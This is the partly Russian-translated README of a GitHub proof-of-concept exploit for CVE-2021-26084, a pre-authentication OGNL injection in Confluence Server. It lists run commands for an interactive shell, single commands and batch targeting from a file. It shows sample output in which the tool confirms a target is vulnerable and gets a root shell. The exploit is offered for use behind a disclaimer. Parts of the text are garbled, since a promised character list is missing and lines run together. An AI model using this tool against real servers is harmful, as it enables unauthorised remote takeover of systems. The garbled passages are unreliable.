taythebot/cve-2021-26084CVE-2021-26084 — инъекция OGNL в Confluence Server Webwork (Pre-Auth RCE)
Доказательство концепции для CVE-2021-26084.
Confluence Server Webwork OGNL инъекция (Pre-Auth RCE)
Это только для образовательных целей. Я не несу ответственности за ваши действия. Используйте на свой страх и риск.
Из-за полезной нагрузки невозможно передать некоторые символы. Ниже приведён список того, что я обнаружил в ходе тестирования.
"| go run exploit.go -t <target> -i
Пример
root@localhost:/# go run exploit.go -t http://localhost:8090 -i
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Made by Tay (https://github.com/taythebot)
time="2021-09-02T00:29:37+09:00" level=info msg="Checking if https://localhost:8090 is vulnerable"
time="2021-09-02T00:29:39+09:00" level=info msg="Target https://localhost:8090 is vulnerable"
root@confluence:/# whoami
root
root@confluence:/# exit
Exiting interactive mode, goodbye
exit, чтобы выйти из интерактивной оболочкиgo run exploit.go -t <target> -c <command>
go run exploit.go -f <file> -c <command>
go mod download
go build exploit.go